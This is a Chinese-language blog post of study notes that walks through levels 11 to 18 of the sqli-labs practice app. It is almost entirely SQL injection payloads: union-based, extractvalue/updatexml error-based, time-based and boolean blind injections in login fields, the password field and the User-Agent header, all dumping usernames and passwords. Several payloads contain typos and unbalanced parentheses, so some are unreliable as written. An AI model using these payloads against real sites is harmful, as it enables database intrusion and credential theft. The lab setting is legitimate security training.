Sqli-labs-master Less11-Less20学习笔记
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
该类型存在错误回显,登录成功回显。存在信息显示点位。能够通过联合查询,报错注入等方式来注入。
开启Brup Suite,设置代理,在登陆界面随机输入admin进行登录,抓包:

将包发送给Repeater:

修改uanme,测试能否注入:
admin ' and 1=1 --+
admin' and 1=2 --+


很明显该位置可注入,且有报错信息。
接下来有两种途径:
1.用union联合查询来获取字段。
由于是重复性工作,只在此列出注入语句,不放图。
获取库名:uname=admini' union select 1,database()--+&passwd=1111&submit=Submit
获取表名:uname=admini' union select 1,grounp_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=1111&submit=Submit
获取列名:uname=admini' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' limit 3,1--+&passwd=1111&submit=Submit
获取字段:uname=admini' union select group_concat(users,':',password) from users --+&passwd=1111&submit=Submit
2.用 extractvalue函数。
简单介绍下extractvalue()函数:格式:extractvalue(xml_frag,XPath_expr)
extractvalue()函数用于读取XML文件的函数,需要两个参数,目标XML名称和路径。xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
获取库名:uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=111&submit=Submit

获取表名:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+&passwd=111&submit=Submit

获取列名:
uname=admin' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_name='users'),32,64)))--+&passwd=111&submit=Submit
由于extractvalue()函数返回值只有32个字符,故在此使用了截断显示。

获取字段:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users )))--+&passwd=111&submit=Submit

其他字段可用substring()函数来截断。
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
尝试了使用双引号来闭合,但是失败了。查看源代码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
构造闭合:
uname=admin") and 1=1 --+&passwd=admi&submit=Submit
uname=admin") and 1=2 --+&passwd=admi&submit=Submit
法一:union联合查询。
获取回显位置:uname=admin") union select 1,2 --+&passwd=admi&submit=Submit
获取库名:uname=aadmin") union select database(),2--+&passwd=admi&submit=Submit
获取表名:uname=aadmin") union select 1,group_concat(table_name) from information_schema.tables where table_schem=database()--+&passwd=admi&submit=Submit
获取列名:uname=aadmin") union select 1,group_concat(column_name) from information_schema.columns where table_name=users--+&passwd=admi&submit=Submit
获取字段:uname=aadmin") union select 1,group_concat(username,':',password) from users--+&passwd=admi&submit=Submit;
法二:extractvalue()函数利用报错获取相关信息。
获取库名:uname=aadmin") and extractvalue(1,concat(0x7e,(select database())))--+&passwd=admi&submit=Submit;
获取表名:uname=aadmin") and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+&passwd=admi&submit=Submit;
同样需要注意,extractvalue()的返回值只有32个字节,如需要得到更多信息,需要使用substring()截断显示,这里就不写出来了,可以参考上面Less-11的payload。
获取列名:uname=aadmin") and extractvalue(1,concat(0x7e,(select group_concat(schumn_name)from information_schema.cheumns where table_name='users')))--+&passwd=admi&submit=Submit;
获取字段:uname=aadmin") and extractvalue(1,concat(0x7e,(select 1,group_concat(username,':',password) from users)))--+&passwd=admi&submit=Submit;

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
该类型,成功和失败都无相关回显。故可以考虑使用报错注入和盲注。
寻找闭合符号:uname=admin' and 1=1 --+&passwd=admin&submit=Submit
发现其闭合方式为:('admin')
寻找注入点:
uname=admin') and 1=1 --+&passwd=admin&submit=Submit
uname=admin') and 1=2 --+&passwd=admin&submit=Submit
发现无论登录成功或者失败,页面都没有相关提示。
使用POST报错型注入:extractvalue(),时间延时盲注和布尔判度盲注
法一:extractvalue()报错信息注入
查询数据库名:uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
获取表名:uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
获取列名:uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
获取字段:uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(username,':',passowrd) from users ))) --+&passwd=admin&submit=Submit
法二:时间延迟注入sleep()
盲注库名:uname=admin') and if(left(database(),1)='s',sleep(3),1)--+&passwd=a&submit=Submit
盲注表名:uname=admin') and if(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e',sleep(5),1)--+&passwd=a&submit=Submit
后面就是替换查询语句,替换匹配位置。
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
该类型,无错误回显,无成功和失败回显。只有页面有变化。也就是没有相关点能够输出信息,只能通过其他方式来判断注入的语句成功与否(页面延迟,页面变化)
盲注之前使用也不少,这里就直接上payload。
法一:时间盲注
先探测注入点:uname=admin' and sleep(3)--+&passwd=123&submit=Submit
页面等待了3秒才返回,说明该语句正确。
获取库名:uname=admin' and sleep(if((select database())='security',3,0))--+&passwd=123&submit=Submit
获取表名:uname=admin' and sleep(if(left(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)='e',3,0))--+&passwd=123&submit=Submit
获取列名:uname=admin' and sleep(if(left(select group_concat(column_name) from information_schema.columns where table_name=users)),1)=' ',3,0))--+&passwd=123&submit=Submit
获取字段:uname=admin' and sleep(if(left(select group_concat(username,password) from users)),1)=' ',3,0))--+&passwd=123&submit=Submit
法二:Bloor型盲注
Bloor盲注是通过页面的登录提示来判断是否字段是否正确。
先探测注入点:(这里使用万能语法进程探测,模拟未知账户和密码) uname=1' or 1=1--+&passwd=123&submit=Submit
获取库名:uname=1' or if(database(),1)>'a'--+&passwd=123&submit=Submit 可以使用二分法加快速度
获取表名:uname=1' or if((select group_concat(table_name) from information_scheam.tables where table_schema=database(),1)>'a'--+&passwd=123&submit=Submit
后面都是重复性语句了,就不一一表述了。
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
先判断注入点:uname=1") or 1=1 --+&passwd=&submit=Submit
页面显示登录成功,该注入点可用,闭合为("")
还是采用两种方法,时间盲注和bloor盲注。payload和15关基本一致,变化的只有闭合符号。故这里只列出两句样板。
时间盲注:uname=admin") and sleep(if(left(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)='e',3,0))--+&passwd=123&submit=Submit
Bloor盲注:uname=1' or if((select group_concat(table_name) from information_scheam.tables where table_schema=database(),1)>'a'--+&passwd=123&submit=Submit
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
还是按照日常在登录名处进行注入,发现使用任何注入语句,都无法成功。查看源码发现在登录名处做了过滤,但是在密码处未做过滤。查了相关文档发现没有办法绕过,只能从密码处进行注入。
更具页面提示:password reset 故使用updatexml()函数或者双查询注入。
updatexml()函数用法和extractvalue()函数类似,区别在于:1.updatexml()函数用于更新数据,extractvalue()函数用于查询。2.updatexml()函数其语法为updatexml(目标文档名称,文档路径,更新内容)。
法一:updatexml()
查询数据库:uname=admin&passwd=01'and updatexml(1,concat(0x7e,(select database())),1) --+&submit=Submit
查询表名:uname=admin&passwd=01'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&submit=Submit
查询列名:uname=admin&passwd=01'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) --+&submit=Submit
查询字段:uname=admin&passwd=01' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
尝试在用户名和密码出注入测试,发现不行。审计源码,账号和密码处都进行了过滤。但是在User-Agent处出入了数据库。尝试在头部信息进行注入。
获取库名:User-Agent:',1,updatexml(1,concat(0x7e,database(),0x7e),1))#
获取表名:User-Agent:',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
获取列名:User-Agent:',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
获取字段:User-Agent:',1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#
可用分段显示所有信息。

浙公网安备 33010602011771号